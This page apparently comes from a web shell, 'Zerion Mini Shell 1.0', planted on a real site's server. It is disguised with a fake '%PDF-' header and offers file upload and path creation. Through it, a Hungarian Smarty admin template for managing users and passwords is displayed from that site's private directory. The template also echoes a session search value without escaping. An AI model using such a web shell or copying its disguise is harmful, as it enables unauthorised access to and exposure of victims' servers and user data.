%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/nailstv/public_html/ua.nails.tv/smarty/templates_old/admin/
Upload File :
Create Path :
Current File : /home/nailstv/public_html/ua.nails.tv/smarty/templates_old/admin/felhasznalok.tpl.html

{* Smarty *}

<h1>Felhasználók</h1>

{if isset($smarty.get.add)}

{if !empty($error)}
<p class="error">{$error}</p>
{/if}

<form id="felhasznalo" method="post" action="{$smarty.server.PHP_SELF}" enctype="multipart/form-data">
<fieldset>
    <input type="hidden" name="id" value="{$edit.id}" />
    <p>
        <label for="nev">Teljes név</label>
        <input id="nev" name="nev" type="text" class="text" value="{$edit.nev|htmlspecialchars|stripslashes}" maxlength="250" />
    </p>
    <p>
        <label for="login">Felhasználónév</label>
        <input id="login" name="login" type="text" class="text" value="{$edit.login|htmlspecialchars|stripslashes}" maxlength="250" />
    </p>
    <p>
        <label for="pass">Jelszó</label>
        <input id="pass" name="pass" type="password" class="text" maxlength="250" />
    </p>
    <p>
        <label for="pass2">Jelszó újra</label>
        <input id="pass2" name="pass2" type="password" class="text" maxlength="250" />
    </p>
    <p>
        <label for="email">E-mail cím</label>
        <input id="email" name="email" type="text" class="text" value="{$edit.email|htmlspecialchars|stripslashes}" maxlength="250" />
    </p>
    
    <p>
        <label for="hirlevel">Hírlevél</label>
        <input type="checkbox" id="hirlevel" name="hirlevel" class="checkbox"{if $edit.hirlevel == 't'} checked="checked"{/if} />
    </p>
</fieldset>
<fieldset class="submit">
    <input id="submit" type="submit" value="ok" />
    <input id="cancel" type="button" value="mégse" onclick="window.location = '{$smarty.server.PHP_SELF}';" />
</fieldset>
</form>

{else}

<p>
<a href="{$smarty.server.PHP_SELF}?add">új felvitele</a> | 
</p>

<div class="keres">
<form id="keres_form" method="post" action="{$smarty.server.PHP_SELF}">
<fieldset>
    <input type="hidden" name="keres" value="1" />
    <p>
        <label for="kulcsszo">Kulcsszó</label>
        <input type="text" class="text" name="kulcsszo" value="{$smarty.session.felhasznalo_keres.kulcsszo}" />
    </p>
</fieldset>
<fieldset class="submit">
    <input type="submit" value="keresés" />
</fieldset>
</form>
</div>

{if count($felhasznalok)}

<p>
Összesen <strong>{$sum}</strong> regisztrált felhasználó.
</p>

{$pager}

<form id="{$table}" method="post" action="{$smarty.server.PHP_SELF}">
<table cellspacing="0" cellpadding="5" width="100%" summary="Felhasználók listája">
<col width="350" />
<col />
<col width="200" />
<col width="70" />
<col width="50" />
<col width="30" />
<thead>
<tr class="nodrop nodrag">
    <th><a href="{$smarty.server.PHP_SELF}?order=nev">Név</a> {if $order == 'nev'}<img src="img/{$irany}.gif" />{/if}</th>
    <th>E-mail</th>
	<th><a href="{$smarty.server.PHP_SELF}?order=last_login">Utolsó belépés</a> {if $order == 'last_login'}<img src="img/{$irany}.gif" />{/if}</th>
    <th></th>
    <th></th>
    <th><input type="checkbox" id="{$table}_checkall" onclick="javascript:changeAll('{$table}');" title="Mind kijelölés / Kijelölés törlése" /></th>
</tr>
</thead>
<tbody>
{foreach from=$felhasznalok item=item name=felhasznalok}
<tr{if $smarty.foreach.felhasznalok.iteration % 2 == 1} class="paratlan"{/if} id="{$table}_{$item.id}">  
    <td>{$item.nev|htmlspecialchars|stripslashes}</td>
    <td>{if !empty($item.email)}{mailto address=$item.email}{/if}</td>
	<td>{$item.last_login}</td>
    <td><a href="{$smarty.server.PHP_SELF}?add&amp;edit={$item.id}" title="módosítás">módosítás</a></td>
    <td><a href="{$smarty.server.PHP_SELF}?delete={$item.id}" title="törlés" onclick="return window.confirm('Biztos törli?');">törlés</a></td>
    <td><input type="checkbox" name="torol[{$item.id}]" /></td>
</tr>
{/foreach}
<tr class="nodrop nodrag">
    <td colspan="6" class="right"><input type="submit" value="kijelöltek törlése" onclick="return window.confirm('Biztos törli az összes kijelölt elemet?');" /></td>
</tr>
</tbody>
</table>
</form>

{$pager}

{else}
<p>Nincs adat.</p>
{/if}

{/if}

Zerion Mini Shell 1.0